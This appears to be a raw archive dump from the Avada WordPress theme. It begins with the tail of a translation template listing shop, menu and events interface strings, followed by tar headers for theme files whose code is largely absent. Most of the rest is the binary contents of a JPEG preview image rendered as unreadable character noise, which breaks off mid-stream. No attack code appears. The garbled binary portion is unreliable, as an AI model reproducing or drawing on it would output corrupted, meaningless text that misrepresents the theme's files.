templates/featured-image-wpfc_sermon.php:36 #: templates/featured-image-wpfc_sermon.php:55 #: tribe-events/pro/photo/single-event.php:29 #. translators: The link. #. Translators: The link. msgid "Go to \"%s\"" msgstr "" #: templates/header-v6.php:43 templates/menu-mobile-flyout.php:34 msgid "Toggle Search" msgstr "" #: templates/header-v6.php:47 templates/menu-mobile-flyout.php:40 msgid "Toggle Menu" msgstr "" #: templates/menu-mobile-main.php:33 msgid "Main Menu Mobile" msgstr "" #: templates/menu-mobile-main.php:36 msgid "Main Menu Mobile Sticky" msgstr "" #: templates/menu-mobile-modern.php:22 msgid "Toggle mobile menu" msgstr "" #: templates/menu-mobile-modern.php:26 msgid "Toggle mobile search" msgstr "" #: templates/menu-mobile-modern.php:35 msgid "Toggle mobile cart" msgstr "" #: templates/to-top.php:26 msgid "Go to Top" msgstr "" #: templates/wc-after-single-product-summary.php:23 msgid "Share On Facebook" msgstr "" #: templates/wc-after-single-product-summary.php:31 msgid "Tweet This Product" msgstr "" #: templates/wc-after-single-product-summary.php:40 msgid "Pin This Product" msgstr "" #: templates/wc-after-single-product-summary.php:48 msgid "Email This Product" msgstr "" #: templates/wc-before-checkout-form.php:17 msgid "Billing Address" msgstr "" #: templates/wc-before-checkout-form.php:19 msgid "Shipping Address" msgstr "" #: templates/wc-before-checkout-form.php:22 msgid "Additional Information" msgstr "" #: templates/wc-before-checkout-form.php:26 msgid "Review & Payment" msgstr "" #: templates/wc-cart-collaterals.php:20 #: templates/wc-checkout-coupon-form.php:22 msgid "Have A Promotional Code?" msgstr "" #: templates/wc-cart-collaterals.php:23 templates/wc-cart-collaterals.php:24 #: templates/wc-checkout-coupon-form.php:26 woocommerce/cart/cart.php:182 msgid "Coupon code" msgstr "" #: templates/wc-cart-collaterals.php:25 #: templates/wc-checkout-coupon-form.php:30 woocommerce/cart/cart.php:182 msgid "Apply coupon" msgstr "" #: templates/wc-cart-shipping-calc.php:24 msgid "Calculate shipping" msgstr "" #: templates/wc-cart-shipping-calc.php:31 msgid "Select a country / region…" msgstr "" #: templates/wc-cart-shipping-calc.php:51 #: templates/wc-cart-shipping-calc.php:56 #: templates/wc-cart-shipping-calc.php:68 msgid "State / County" msgstr "" #: templates/wc-cart-shipping-calc.php:57 msgid "Select an option…" msgstr "" #: templates/wc-cart-shipping-calc.php:77 msgid "City" msgstr "" #: templates/wc-cart-shipping-calc.php:85 msgid "Postcode / ZIP" msgstr "" #: templates/wc-catalog-ordering.php:44 templates/wc-catalog-ordering.php:92 msgid "Default Order" msgstr "" #: templates/wc-catalog-ordering.php:55 templates/wc-catalog-ordering.php:109 msgid "Popularity" msgstr "" #: templates/wc-catalog-ordering.php:58 templates/wc-catalog-ordering.php:115 msgid "Rating" msgstr "" #: templates/wc-catalog-ordering.php:64 templates/wc-catalog-ordering.php:86 msgid "Relevance" msgstr "" #: templates/wc-catalog-ordering.php:79 templates/wc-catalog-ordering.php:86 #: templates/wc-catalog-ordering.php:92 templates/wc-catalog-ordering.php:97 #: templates/wc-catalog-ordering.php:101 templates/wc-catalog-ordering.php:105 #: templates/wc-catalog-ordering.php:109 templates/wc-catalog-ordering.php:115 #. translators: Name, Price, Date etc. #. translators: Relevance, Price, Date etc. #. translators: Name, Price, Date etc. #. translators: Name, Price, Date etc. #. translators: Name, Price, Date etc. #. translators: Name, Price, Date etc. #. translators: Name, Price, Date etc. #. translators: Name, Price, Date etc. msgid "Sort by %s" msgstr "" #: templates/wc-catalog-ordering.php:125 msgid "Ascending order" msgstr "" #: templates/wc-catalog-ordering.php:127 msgid "Descending order" msgstr "" #: templates/wc-catalog-ordering.php:140 templates/wc-catalog-ordering.php:152 #: templates/wc-catalog-ordering.php:163 templates/wc-catalog-ordering.php:174 #. translators: Number. #. translators: Number of products. #. translators: Number of products. #. translators: Number of products. msgid "Show %s Products" msgstr "" #: templates/wc-catalog-ordering.php:196 msgid "View as grid" msgstr "" #: templates/wc-catalog-ordering.php:199 msgid "View as list" msgstr "" #: templates/wc-proceed-to-checkout.php:15 woocommerce/cart/cart.php:187 msgid "Update cart" msgstr "" #: templates/wc-proceed-to-checkout.php:18 msgid "Proceed to checkout" msgstr "" #: templates/wc-quick-view-container.php:22 msgid "Close product quick view" msgstr "" #: templates/wc-quick-view-product.php:60 msgid "Awaiting product image" msgstr "" #: templates/wc-quick-view-product.php:84 msgid "View Details" msgstr "" #: templates/wc-show-details-button.php:25 msgid "Quick View" msgstr "" #: templates/wc-top-user-container.php:22 #. translators: %1$s: Username. %2$s: Username (same as %1$s). %3$s: "Sign Out" #. link. msgid "Hello %1$s (not %2$s? %3$s)" msgstr "" #: templates/wc-top-user-container.php:25 msgid "Sign Out" msgstr "" #: templates/wc-top-user-container.php:30 msgid "Hello" msgstr "" #: templates/wc-view-order.php:28 msgid "Downloads" msgstr "" #: templates/wc-view-order.php:59 msgid "∞" msgstr "" #: templates/wc-view-order.php:81 msgid "Order details" msgstr "" #: templates/wc-view-order.php:87 woocommerce/cart/cart.php:145 #: woocommerce/checkout/review-order.php:133 msgid "Total" msgstr "" #: templates/wc-view-order.php:174 msgid "Customer details" msgstr "" #: templates/wc-view-order.php:189 msgid "Note:" msgstr "" #: templates/wc-view-order.php:202 msgid "Billing address" msgstr "" #: templates/wc-view-order.php:216 msgid "Shipping address" msgstr "" #: tribe-events/day/single-event.php:70 tribe-events/list/single-event.php:73 #: tribe-events/pro/map/single-event.php:71 msgid "Find out more" msgstr "" #: tribe-events/pro/photo/single-event.php:87 msgid "Find Out More" msgstr "" #: tribe-events/pro/related-events.php:27 msgid "Related %s" msgstr "" #: tribe-events/pro/widgets/countdown-widget.php:29 msgid "min" msgstr "" #: tribe-events/pro/widgets/countdown-widget.php:34 msgid "sec" msgstr "" #: tribe-events/pro/widgets/list-widget.php:57 msgid "View More…" msgstr "" #: tribe-events/pro/widgets/list-widget.php:65 #: tribe-events/widgets/list-widget.php:69 msgid "There are no upcoming %s at this time." msgstr "" #: tribe-events/pro/widgets/venue-widget.php:40 msgid "No upcoming %s." msgstr "" #: tribe-events/pro/widgets/venue-widget.php:63 msgid "View all %1$s at this %2$s" msgstr "" #: tribe-events/single-event.php:137 msgid "%s Navigation" msgstr "" #: tribe-events/widgets/list-widget.php:65 msgid "View All %s" msgstr "" #: woocommerce/cart/cart.php:33 woocommerce/cart/cart.php:125 msgid "Quantity" msgstr "" #: woocommerce/cart/cart.php:34 woocommerce/checkout/review-order.php:27 #: woocommerce/checkout/review-order.php:86 msgid "Subtotal" msgstr "" #: woocommerce/cart/cart.php:112 msgid "Available on backorder" msgstr "" #: woocommerce/cart/cart.php:160 #. translators: %s is the product name msgid "Remove %s from cart" msgstr "" #: woocommerce/cart/cart.php:182 msgid "Coupon:" msgstr "" #: woocommerce/checkout/form-pay.php:23 msgid "Your order" msgstr "" #: woocommerce/checkout/form-pay.php:30 msgid "Totals" msgstr "" #: woocommerce/checkout/form-pay.php:121 msgid "" "Sorry, it seems that there are no available payment methods for your " "location. Please contact us if you require assistance or wish to make " "alternate arrangements." msgstr "" #: woocommerce/single-product/tabs/additional-information.php:25 msgid "Additional information" msgstr "" #. Theme URI of the plugin/theme msgid "https://avada.com/" msgstr "" #. Description of the plugin/theme msgid "" "The Avada Website Builder is the ultimate design and creation suite. Design " "Anything, Build Everything, Fast. The #1 selling product of all time on " "ThemeForest." msgstr "" #. Author URI of the plugin/theme msgid "https://themeforest.net/user/ThemeFusion" msgstr "" #. Template Name of the plugin/theme msgid "Blank Page" msgstr "" #. Template Name of the plugin/theme msgid "Side Navigation" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:1180 #: includes/class-avada-tgm-plugin-activation.php:3017 msgctxt "plugin A *and* plugin B" msgid "and" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2407 #. translators: 1: install status, 2: update status msgctxt "Install/Update Status" msgid "%1$s, %2$s" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2453 #. translators: 1: number of plugins. msgctxt "plugins" msgid "All (%s)" msgid_plural "All (%s)" msgstr[0] "" msgstr[1] "" #: includes/class-avada-tgm-plugin-activation.php:2547 msgctxt "as in: \"version nr unknown\"" msgid "unknown" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:156 #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:168 msgctxt "Avada Icon" msgid "Custom Icons" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:157 msgctxt "Avada Icon" msgid "Icon Set" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:158 msgctxt "Avada Icon" msgid "Add New" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:159 msgctxt "Avada Icon" msgid "Add New Icon Set" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:160 msgctxt "Avada Icon" msgid "Edit Icon Set" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:161 msgctxt "Avada Icon" msgid "New Icon Set" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:162 msgctxt "Avada Icon" msgid "All Icon Sets" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:163 msgctxt "Avada Icon" msgid "View Icon Set" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:164 msgctxt "Avada Icon" msgid "Search Icon Sets" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:165 msgctxt "Avada Icon" msgid "No Icon Sets found" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:166 msgctxt "Avada Icon" msgid "No Icon Sets found in Trash" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:553 msgctxt "by author" msgid "by %s" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:743 #. translators: time difference. msgctxt "%s = human-readable time difference" msgid "%s ago" msgstr "" #: includes/wc-functions.php:78 msgctxt "breadcrumb" msgid "Home" msgstr "" #: tribe-events/single-event.php:33 msgctxt "%s Events plural label" msgid "All %s" msgstr ""Avada/blank.php000064400000001330152342437710007365 0ustar00
    >
    Avada/author.php000064400000001343152342437710007604 0ustar00 Avada/side-navigation.php000064400000002213152342437710011360 0ustar00 Avada/headers/previews.jpg000064400000517730152342437710011566 0ustar00ExifII*Ducky<http://ns.adobe.com/xap/1.0/ Adobed       >  !Q1RAa"SU2#VqBcr3b$TC4s%6tu&DEW !1aAQqR"2bBr#3S ?R"9]e`'GUDG"*WBTXst+(w{>g`g>ǂ0~ o?gt~?pq?L[ø]\-}gx.{>p<GW |=Yp8w +Ϭ8};`g>ǂ0k|=kqͽ#%_T^O :Xk7ltz>W?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~_ޚ7>'^`؟>WoO򿇽5׬o<6'z|O=鮽c|?[|Mu ޟzkX0xlO+{]zb~NֻOᘝvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]1;Zh Nֻ@bvvk'k]}˴]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve˴7h o.]1@cYve=9S@3e˴7h o.]1@cYv=B4€ge˴7h o.]1@ĴZUu7h o.]1@cYve˴7hF:~i8/;~=^+AÅ'o}{a>=}P~0twt?py_T8_v]Ǽ]//;xAq=};&sc?w@ܙþrg?3t|{=ɜ>=};&sc?w@ܙþrg?3t|{=ɜ>=};&sc?w@{[g#.!|.T5V5DowKQam؇۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@}v >F݈snѷb۱nam؀706@3kzZԫ9U@ ."lHbwђ7#ѡRGnG#bUr""xUTSs*Eo{o4ґ+姉T ې,X `,X `,X `,X `,X `,X `,X `,X `,X `,X `,X `,X `,X `,X `,X `,PYpoڂ˃n\}#vHݨ,7FAe7j . >PYpɮkx5W9QNU]湨+WJ*iE"*hU@夎FG˱Ϻ|u7Z?}i{yM$kFijPeԷ?+. -.&*/& ZMf7z1hDD99i!'+Z*UXN3S'kaZ?wѯF31}̦('G讅J#9U 11g V&+dEUEn$ZVt,7Dt2I"EDDUJWhi幄WSQsZU ͞q+13ujN%&&cFݾ-Y+c\LK"Dve"ZHl-1QiV}Oewo$< YW5UQT\(Jc1&" V"=-c[pVĨvtNvvpYfAE58wTEz~GN0΢'҂GSùmku5RY-UsNCtbۣ˩|./8ˇuv#sBCYT_U73=s5ɜ ˙m2\O5di\- gӣוvmeJ廅FקLUZ~tbvvz^W15WQu7Y0s_\+y^2{,rmy*o&m'ƱF+M*wjF9E˞Nok4x$b*h;v,kiQV&ib-gVZ/7DcjrGiEYIXv(.n~ȑ棒Zh,M$MU*I-Cw_,Q\+,.+DWFk(D,wYsnUVUJLvWĦbZԊ3n-s2x2۸JDJjEҴBDݬS. 0uv[N,+\|Ȧ.-#Zymܒiw̰-'#UVO$\"2Q4*rqo++$u1QG.ky*l@7Kəe[oh|Jc>O$ (`$€f{h_=̬Jc*"2ˮY H׵īT\(KIpE"_O@浪*5JʴDDUP4Yf}K57pY V&+KH"IY=4mk|kQTԸV (_u01썎G##b+*#Q*i6yΪ<%V$NU\YU4m+^ǭziUZ49c^G1Ȋ7J*/"P?/XqɕZ$V*=fWn|&6ɞɧ^B̊[%oݮ^U-(MhK [f;1.{70l׹kЪSJ܊ w-xeuL$c\H,zX9ٌpNkp2+o#eѫ94N5}e\q} n-r9ƹM*z{ike%G^m}Ml`\K+]IJ=1%YwdP!ǜ߿.uZ6V,ͧ-cEţJe $(Չ#ő#G*&'*W Wh`v.&bˋv4n<4kqSVKryh\7oeMbuĬҨjP%5QGq1Ȋ&T^EE@=EQS@5o{݋l-{)>θ4'bM06{w*N_ڂ(4k /gSyqeΉUHVDTpTJ DrSJxJ*B5*$@0+#$355TT]JE &FOIѶYvȊ]DU|*HfkeX1TtAJ-\ji@-{r5ZӍ- TT(**r` @?;9PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP!Pm."d0ƊЍkSD@ݙe9WpمVvrx U+NU?ps(jw6#Zi輔ݮ!;&cy\x$XJߥ*T,aХAtWBUEuM:5U64TEMȉvejsZϢZ#;<+Pt֔Uw&E(氾&-lWB*r((O%jOM4.]?XVnfGTWDj^Uj.E6I;cr :ȪJ.*6+[o"^hV7`z5UIJ3UG5QQU9Sjҋʞ@]:RZQU`AQREJREJW|(QP V ok Xbj릉*O{<)V+w&'3 K4Ezy5Ćbb|դCH0< Ir28ڕs5Z&j.^H"Hd[+4\*EHY,hVȔ]<4T%QS` >TENPjE%yO @.)6NDn'I˺nʞidY,Y%z=UU)|9b@8YuSJ*ᵙW1**/tzu/_7-ݏ=C 9f[{6u{˹ H%WBV\YEyy~}jRƓF{dk9ʂ&Ʌ!P^Yf|:"\8I;D)#c\U]>4T-9DZJ*tZr@Q|) hCwlx_49N;5wJMq?5Ǭ=`7X zoc{Ǭ=`7X zoc{Ǭ=`7X zoc{*/"7/bwlY'{#d-ErkrDDĚ"d5\︴VMq;IGlbDj7b?%X-n4nsӕ+Wx 1^{bD|/ 򩧸7^BpG1psQʥOgnˑQQيK]D}:c۬0l51m3[[w.vM?}udbxa=j#lǫNHͳ,01ܾY|bǵQ4c+/YY~1#lVtr9pcGk9=wwj̭FXWzԪ1{9K1˵#GE+_I[\{w8c]lTuq+B'|4/m4 dG6uAM[Z.sv9 sJr*Ň%E*s|w_cxwDGYe֖ [xyJWxz:-Nnżie|CFۋ_$Wĭc{sh_)Lj֛fpq'qyYs{}wx|$-$p ZOڪ'ư~2Ӕv6"/-K+&tr^Щj-C7gM{ۈǽ\Kܮ+K9R+g7Q9LmkVWktUzy o/"w#a/ڨ{]G' QundE3?-mI?soj5R|cڍpT#?\'?-mI?soj5R|cڍpT#?\'?-mI?soj5R|cڍpT#?\'?-mI?soj5R|cڍpT#?\*!8r.U|hE|n{[_c(P)l h*_w[5,"jh^W)ut^̮ntS;ݥVG+L|\E F@nF@nF@nF@nF@nF@nFM)*4̬%lw2@L.Z~)csLx/۞[ HDM {y1<4=.o?+EOC;=S{7.mFEs${##QziZ|4w\{1<ƭHi).YܘT;<-LϮW#0tlYem[:DsNK'eeqk>tQVjw\K8ٽ 4 d+:5WEܶDj9UTDm&vGkvggpZscs&wfEkBc+Bo\v+;5eV&}WfҎ]xD\ǩkR}su&Aw{lfMпѣkv&;l2He[F+`bD&fErQVE#vson̾fBܬ3g|US[U.He@3pWmW+w0Ѵ%vt>ڳ5S}p\췆Ǘ8c,P[6=sSRo+|~8o2,eM:Iom.$GFs|:1VU;o.+.05/dFW]Hbj*Q0קa7~2ӗh#^_9.fk<͍jV|&omf};>-lG7,d*Xf8.$\>TFQZ1Fge.6'*.~}qO*[x#EUtEe1˧7y81x?:,߻h$.5VB:1n^O7uxq%1ȨJO 8=}~z>S[̶lt85ؗbL*x:X{)k.l9i7x*EnZ}˨ԍ+p)=ݛ.]$LvNđ|HVʏ婜2oo4gOL3/mnJ,},Ek[h~O *ȴeq~\\xwy2+I2N"}֢mK>V12<լl]%k"EQ~WHro>WQFOW7_۾f썗\=Ύ9tUU#jaJ/_-&&fboH9chschKHq۱9򽑺'g"Xیnwr6Y[L!|ΕDr8j_LMp|˔gc?U*B#G\H릫ww[#cXsi N|vkDo۲nlnqꪮjZṑ1R5uowwZ7e썾[+TVI,ںб͑*+mB9DEoO}WֹDsT*/**NO.^Kgy*cZ[S5 2tjKI[#Thl$|/03|ֿ"eQOk.cQL-j"5Ȉ ;HENJi&6,8lhnدmgeYI hخܮV]|msG%i6MMGosi]FvygGrEpq\ʪ:V-τx+=˸l5Y%cۥsȩUZ s63{k8$(1Q_3\5Թ+kkV]Yu\G#t8N䖲&*7ԛDZ""w&yߣ]-=$+Yp5XEs"vq[y,,㈲n& I&.|XX%FY}r,2A/l[wY%={-ՏDjYJ":e1_yW{a-3wv{ȤEHbvz7y?|D[}_# ɹumug[rd}ۡIAl]ޫZRy߶WI\%.iq-es`DZg@Y.tx_⢗=裶yEzmV_(rsl)m olYٍjʽh:Tg}yvV<q=$ZX-bV+UR㵵&ʔEЭ:lV'{& 3`ko4|rYR9-hL_GzF*g ׫g&s߳}ZcK{ 66I2:F(0&)4RqgnݷseE;}6`뙟%oI! b7 ɢSsعo?'eFȬj5Tri妲SȬ?P [k9%]ѐ$F+r9Z֪҅k(+i9!slΚ[Km+ $(c>Ѩ֮ʩ[cέGudz/eg6;ff Y]oDd[L+ݵp;G+i̋ˢwn}6c%G${DUW6L_nlVeSJY"dpֆbrXyνx2+\ ;w-'=U[6|tjK_t$VP6/(k%KDdM~ iOf3Ly(>ief906SJ]\)r}*-̺!j5Ujfو+0*\6ѱȱt=F7B>-mv\A2Yu\ljѻ]\ 7~mD3ܚiaʭl4,GG2DWdKY1›ܹ$ׯkˉzѻ,&=#jfn<^D'~-e鍊|5+}շaVİO4/=U4jQ}\xǰ6("-aV2+W6t[#rN" 5{7jSgnk+h#aS3WcWaŅUUv,S8퉙mww;9(k&P6Cfk{O- nblkdcsIn>&vqvJy3ˬ2KZCU,ѿn.6ƚW ]M lUEz}7d[] v䑗2cG64!G1\rGk25+ ;J5\]ST9\'L}UeYMi// qBJ"bvwWAoo=/w쿊fk#{R{%0Gx NMr' l wf;oy$r斷1PJ驽kرDJ*)wG ^R{[vpkԐFܩar+y:W\ar6ko&+w4÷-3UlRDr9]X1ZF&c/M/Owk2_1da--.ờbdȭ:=Rj-EmI+ݑfVfIln ""=V5WS=7Yyi5eKeޗ1$eLhb=&VM[_^W27~ Kn%/k$CX8Zm{ȍZ&oN19gPMMw{[{s7_=GrNGU5J5rf<|]3۪ n,CrGwm|oį\1#Uc5ѡK&FONS9cHbfW KbY.zx\64OQߕvD9=a%3Gskױ9!mmW9$WDwkڽu/(۵,fMk;|hޮLJ{"DH/9ʟ|%\Iy]gqqdՓqںdsձSJQ$TW_=>lRzX/ysg/jXdc_~:aōN}z ߳xZ^ؑǢ,r:GGUuKc8 /l(kv j]qs#!DE{խ++X#1Cq $oNJUjp0˭$.bf{bF#Cg->gi6D֓:1]\87:` 7wV]O-W;{{k6,I !F\DHĚҦg1 j^owG ys#lvrEbgI*E] 7gٰ.wpf-ճn_[MÞ,뎾T?b;ѹrrRKNj'>vmmoFb-(*7;_9g }1vweK[FH̥[DjdEI3[\guW.J8l-9\ FȌVtbʓn{+h gz8+sZU?KxMG:̸Vlv-dd/MzJTW#Ҥ3g޵;#&&{YnD@fHbzՈҔNR9_lHM3^n}rZC;`27cLH'+uw~͋~^R{k^e&i􍬃Vd|,\aV/%9TJtO &vLwil}F\6Gf˄swO mg#U{ly|TSlϔGHzYM6\RȐ*Fe%h7#Uo{ݳSzzzۉm_4ا)6}tɅchU$ELp[>ս,6d fHBXE38e?FƵnY6RIoVG|)-E\Cme3=os=Fcz9ju:cGʳʭs-t\Bcfj5Ȕnx2ʰ5]e HFţq&UED2,a<{/xo++x8zkv=+{f&VR⩙ 5G5QrUM(0iq$S륒nV5՟/~^WJry/g%˯nLf@JEUsUJhCO~?Gf{&;k{)Iݾ;x02ynjZ|EdBKi?'}ExrK)/p [9Iӣ&9t-1weq{|7:%Xb)?U6@q-`>.=R]*g{Ux銆rk}qDIs3r}-ëĘH$..x 0q[L*G5U:DpF[]g7kRbܥ'W=]|3B(9kQLそx#hbˉn8%gwS m#Rh"9J\DLI0;8RN2L\!{+{V.dE. "@,aN5͸G2|H'b2 ǹps\Lj,>6-1ח] AXy9E͑ɜHD\S(NNXugw ssr$,G5ÉʫM^VpמDZ2eaqk3 lr"pyj%@m`Ň{#cLND8U\QRuMaU]$' Wύ#enMjRU,X߲dj+ȎTMp-E3%&5cUUI4~$ˆe2s8-u;;pZ1WYJ 6NF#[foxQ0rX@ I&8/*:/c}qw jv+:eYJ3f֐0m-;7v}$lk%t1=5Jov̹~_uiycw.a5Qp+[lXڕs_%?hۈi-m";x4t2ȱ5웑hU9jK)8r9nYͶd3WjU)eo{otrlGڛ\.s J9ck)1-zgZs7z7[)"츉suoGIs!.ĐH{ڊJx4QMvyW9#l67ڶiۙᲑ[,ţO*: )4K6l]Kڐ2dEfи7E9)cX|jzUkB4ׁ[ȭf\xKҪ-p%eeS_ͣ jKZs5ck""$Eд])R=nIk*iZxiZpWq-lW_[q99fZ3GHEbXTIZs'd>Ο Qɼ&$kD֜/,XV5&Kv̔<.r9bI#$[TEWWFc6c;[h5U 3=n'5TE,3}xώX772%zHXJUSpc!7E/h|#$EkOS3Eihtjڶn-[E3AnF$k[7kjRܛ8+,-.,&|I+^\^Esfֱ}ZKig=W)oEsk_ԆuZa>WDdt-V6ִj^]W6}+TųbHR{ٲHEVW-V('5WpQfVݘ-:*b#WɥpqK禙S3{;\Ƶ᜽m Z9W"5wGbwD"r nES۬X#V+"Tn[J(UqO q.AywHt.FȈGy.Tr&31ubV6#ZזJ%MͳTSaU-qZV{l/sы5%BܶKX7/조b05گ*9WƦfY_d,o"MkwnHQSK\TTTT](N[Uira7֊trݑKOq/stiLZ|&jm!{0\5c ZcڼRLDM9?XĨ-m⶷Ԏ(ֵJ#Z6EӲIs~ duk 0H+wM9u%_M mgePIrUjoOz6TI ÙLW֌kSV TR_HlGidZ^gftLL:yUKLY_#d}`Hac GQE -n1VG|M+!r[C#ݹ_*tҢcmGq,$tl.kc{rSTTdAEG a-V }n=XݹG>w*7 R 3;ތF4 mw"}$s9S yJ(OfHclK6%O-Uֵޮrӏc4-o1bvI7D.Αđ,O<͆7"ƕ]?KȴS:1"b'lyiDlݬEW1J\5Yƶ\wr!Ӻ e-ݔqs끸V~L5LLDmFTĉa-ĊR}f'+{ cĸU+râ,]|bjQӈ='iEѭϙ_a]z<$LjͶ."cHcWH׹QE;-iu.c Gc;/.#'7'QX|).9[}>n\V*j+j,yME}m4ۨ_\ "Z_Wry^,q3PV.VwX ݷ2H\0iѧZEk=Cïͤn!lc3QTa>UjN[k㴬5ݪ*h4K?c*͑J±5J~ܵouC׽:HGDRzSu Qh9No(@ ~׉3b NPic}//ml/n]73YU_܈ 3*G:.-n_IS'/ӼS?JffYL||V#G/JG8KdY:4)cŮkk-{62 e[EG]"UuK{}wiukdG$5hEj+|)Z-p˘d̽kIc\/cѮj"qy<Ĺm+&{QiUF@.3Nbgή3+{\\Y#blNFVQ>;SR3P5~[vh 4ÞYDogV&Wq"؈59(YHaukowm-mv:9zUcҎk| fb&*Z{R7 *7]+D "r+*-Ygan@1*\UUR̤DBy|>}WxEJ*x -l2YFkSMt"Q9@_(0g~@3 v6Wlwv1GrU1"@QEb&"5j'""&A23?00Πf\(OD3u)W*r`\76| XbJ%dmkUȕҼH_1 &FO/l(݋τ̹ot['/\YY |3}+!kVWQSō_I #!xl#%d ͻVsDZߏ;x.23 omkѣ&sc7~gls+9nRkeH#ر.WPQjo G}m}f?ixea[UUr֨+AEfvYO25{"V?9H3+g5IiF#*%EozqۿwdųpcPC|qi7wηrwCkTӧZ;"e"&b"fYջW5.(*M&2ԋ~ ܫ#G2bFF1-U V1_D!cfrxZbᴪoގqeĭ }\]HbwYҵESH'+)j'VOe= Z*-eI'?j//2 e3ƶ:{K$+KuU$Ӌ\?N.__:vO/q1qMMr譚3iY<%õv>stזVqvxե-"繸a Ltnčs ̪X}UC2> ՙe9r3suo  QAiAލE6Owfn8nj]p9L4U<_3yls '5|6$V7qsrQuxE%_k}aY݆M+gFŧW(ԭ<.392KɻXHK$W3s^Xy{Ǝ0I-7"kX_P{⫞l,ˢ} f6L+Ygq|cig}%67qS{q%R-G Tu?.1LDnȸ/,6H.-Ʌ蕥KR2k86FɎ L#dxܲ QƈZiUҨBԌw_1E^YZV1^ڹ]V(TT֊(t#gp_H]+TJ4rxPT@T@T _v_2$?~]ݿ;WLzd ʀGNyY[W9:\+E.Tfv<.IwM42bQdLqjU™|9s,XrD*E"4d5ߺwLՇGUzQD¼[رFwwγJ,lW+~]+ʭIcf]Ze; H{rPe:"1k^LlEFF3.qvE]J`H*+X|MtqzX‘. 9WyZt9UQyj]}YÔWH9ǽrU_'FKlCG@Ū#ju1\zqK!XQcUvHN]iM0ka&Ga+Qd\s\}11Uj4D$qIe2KZf7ƍpBv,&1G#s_#+>sc ,a}nZtɉ{, UTmiv苾ԓMM՝cldJQNE@4;%\P"nEWQfVJtS 7[FȘٟRG,<67E\ =F5)XNɤw%::NUTӱMglpqM`M=ʗ3կL.Lr9D #,El24HZbn8+W U|Ə'm}J=K*ǎH)+"妑cS;"8=FpuG_/_'h[)* bL>)$FLUs#j7r/"Ӑmr,9 r}S<lG=ْKeV+Q)FHdV9VӕJ|I_#sܮW:UʮZWuΗ8+e)n|nn~pDM P wKg^|w$j"95C8}937/s 2F]#_$Es+hcsO"6s{={ BRZ;X湻nl Ii`FoU{֮Uá9Y\Dw^cv-O3Wq+Uui FV%J%0(Mrߊ3Ip31VƵgZj_-xxD~N}WA[-Ĩ蝁_F1rƔbȈ 9Le*@l6QEXڵsSNckQJ5DOIxzz@3)fŒY6\9hTY]w7iqostѷp:H4J9| m -"ƒ.* EGHLUU։ɤy&bڮ%h9* 